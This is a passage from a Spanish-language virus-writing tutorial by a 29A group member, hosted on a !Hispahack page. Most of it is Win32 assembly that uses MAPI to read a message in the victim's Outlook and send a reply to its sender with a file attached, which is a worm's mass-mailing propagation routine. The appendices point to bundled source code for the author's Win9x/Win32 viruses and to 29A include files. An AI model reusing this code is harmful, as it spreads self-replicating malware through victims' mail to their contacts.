                cmp eax,0FFFFFFFFh                              ; ¿ Error ?
                je Disconnect                                   ;
La definición de las estructuras utilizadas en el ejemplo anterior, como WSA_data o SockAddrIn, podemos encontrarlas en los ficheros de *includes* de nuestro compilador de C favorito... O en el Win32 SDK de Microsoft, donde aparecen junto a detallada información sobre su utilización. El único inconveniente es que tenemos que portar todo a ensamblador, pero también se trata de una ventaja, si no prueba a escribir la misma función en C y compara el tamaño de los ejecutables resultantes.

Una forma de enviar mail, sencilla y eficaz pese a ser un tanto descarada, la encontramos en el siguiente código, que utiliza funciones de MAPI:

                ;Registrar nuestra sesion MAPI

                lea eax,dword ptr [ebp+hMAPISession]
                push eax                                    ;lppSession
                push 00000000h                              ;ulReserved
                push 00000020h or 00008000h                 ;flFlags
                push 00000000h                              ;lpszPassword
                push 00000000h                              ;lpszProfileName
                push 00000000h                              ;ulUIParam
                call dword ptr [ebp+a_MAPILogon]
                or eax,eax
                jnz freeMAPI32

                ;Buscar un mensaje cualquiera dentro de las carpetas de
                ;Outlook

                lea eax,dword ptr [ebp+MessageID]
                push eax                                    ;lpszMessageID
                push 00000000h                              ;ulReserved 

                ;MAPI_LONG_MSGID = 00004000h

                push 00004000h                              ;flFlags
                push 00000000h                              ;lpszSeedMessageID 
                push 00000000h                              ;lpszMessageType
                push 00000000h                              ;ulUIParam 
                push dword ptr [ebp+hMAPISession]           ;lhSession
                call dword ptr [ebp+a_MAPIFindNext]
                or eax,eax
                jnz logoutMAPI32

                ;Tomamos el mensaje

                lea eax,dword ptr [ebp+MessagePtr]
                push eax                                    ;lppMessage
                push 00000000h                              ;ulReserved

                ;MAPI_ENVELOPE_ONLY = 00000040
                ;MAPI_PEEK                      = 00000080h

                push 00000080h or 00000040h                 ;flFlags                                                                                                            
                lea eax,dword ptr [ebp+MessageID]
                push eax                                    ;lpszMessageID
                push 00000000h                              ;ulUIParam 
                push dword ptr [ebp+hMAPISession]           ;lhSession
                call dword ptr [ebp+a_MAPIReadMail]

                ;Construimos un nuevo mensaje utilizando parte de la informacion
                ;obtenida del mensaje anterior

                cld
                lea edi,dword ptr [ebp+MapiMessage]
                xor eax,eax
                stosd                                       ;ulReserved
                lea eax,dword ptr [ebp+szSubject]
                stosd                                       ;lpszSubject
                lea eax,dword ptr [ebp+szNoteText]
                stosd                                       ;lpszNoteText
                xor eax,eax
                stosd                                       ;lpszMessageType
                lea eax,dword ptr [ebp+szDate]
                stosd                                       ;lpszDate
                xor eax,eax
                stosd                                       ;lpszConversationID
                mov eax,00000002h ;MAPI_RECEIPT_REQUESTED 
                stosd                                       ;flFlags
                lea eax,dword ptr [ebp+MsgFrom]
                stosd                                       ;lpOriginator
                mov eax,00000001h
                stosd                                       ;nRecipCount
                lea eax,dword ptr [ebp+MsgTo]
                stosd                                       ;lpRecips
                mov eax,00000001h
                stosd                                       ;nFileCount
                lea eax,dword ptr [ebp+MapiFileDesc]
                stosd                                       ;lpFiles

                ;Origen del mensaje
                                
                xor eax,eax                                 ;ulReserved 
                stosd
                stosd                                       ;ulRecipClass 

                lea eax,dword ptr [ebp+szNameFrom]              
                stosd                                       ;lpszName
                lea eax,dword ptr [ebp+szMailFrom]              
                stosd                                       ;lpszAddress
                xor eax,eax
                stosd                                       ;ulEIDSize
                stosd                                       ;lpEntryID

                ;Destino del mensaje

                stosd                                       ;ulReserved 
                inc eax ;MAPI_TO
                stosd                                       ;ulRecipClass

                mov esi,dword ptr [ebp+MessagePtr]
                add esi,0000001Ch                           ;Go to originator
                lodsd
                lea esi,dword ptr [eax+00000008h]
                movsd
                movsd

                xor eax,eax
                stosd                                       ;ulEIDSize
                stosd                                       ;lpEntryID

                ;Indicamos el fichero que queremos incluir junto con el mensaje

                stosd                                       ;ulReserved
                stosd                                       ;flFlags
                mov eax,00000000h
                stosd                                       ;nPosition
                lea eax,dword ptr [ebp+szFileAttach]
                stosd                                       ;lpszPathName
                lea eax,dword ptr [ebp+szFileMsg]
                stosd                                       ;lpszFileName
                xor eax,eax
                stosd                                       ;lpFileType

                ;Y finalmente enviamos el mensaje

                push 00000000h
                push 00000000h
                lea eax,dword ptr [ebp+MapiMessage]
                push eax
                push 00000000h
                push dword ptr [ebp+hMAPISession]
                call dword ptr [ebp+a_MAPISendMail]

                ;Antes de terminar es necesario liberar la memoria que ha quedado
                ;reservada por MAPI

                push dword ptr [ebp+MessagePtr]
                call dword ptr [ebp+a_MAPIFreeBuffer]

                ;Seamos elegantes, despidámonos


logoutMAPI32:   push 00000000h
                push 00000000h
                push 00000000h
                push dword ptr [ebp+hMAPISession]
                call dword ptr [ebp+a_MAPILogoff]                                               

                ;Liberamos MAPI32.DLL para terminar

freeMAPI32:     push dword ptr [ebp+hMAPI32]
                call FreeLibrary
Apéndice A: 29A Include files.

Junto con el paquete que acompaña a este articulo encontraras los ficheros necesarios para manejar fácilmente en ensamblador las numerosas estructuras y constantes con las que nos encontraremos al trabajar en Win32. Estos ficheros, una vez incluidos en nuestro código fuente, nos facilitaran la vida a la hora de escribir fuentes más claros e inteligibles. Su autor, Jacky Qwerty ( del grupo 29A ) ha incluido en ellos todas las estructuras básicas y constantes que necesitaremos para empezar a trabajar en serio.

INCLUDES.ZIP ( 29A Include files )

Apéndice B: Código fuente.

Además de los ficheros de *includes* de 29A, en el paquete adjunto encontrarás el código fuente de algunos virus que he desarrollado para la plataforma Win32. Esta es una lista de los ficheros y su contenido:

HPS.ZIP ( Virus Win9x.HPS + código fuente )
MARBURG.ZIP ( Virus Win9x.Marburg + código fuente )
PARVO.ZIP ( Virus Win32.Parvo )

En mi pagina personal podrás encontrar información detallada sobre el funcionamiento de cada uno de estos virus, además de artículos, tutoriales, notícias y utilidades. La URL es:

BioTech( http://www.geocities.com/Area51/Corridor/2618 )
 

Por GriYo / 29A
http://www.29A.net
http://www.geocities.com/Area51/Corridor/2618
griyo@akrata.org

 
 
 
 
 (C) 1997-2001 by !Hispahack 
                Para ver el web en las mejores condiciones, usa una resolución de 800x600 y Netscape Navigator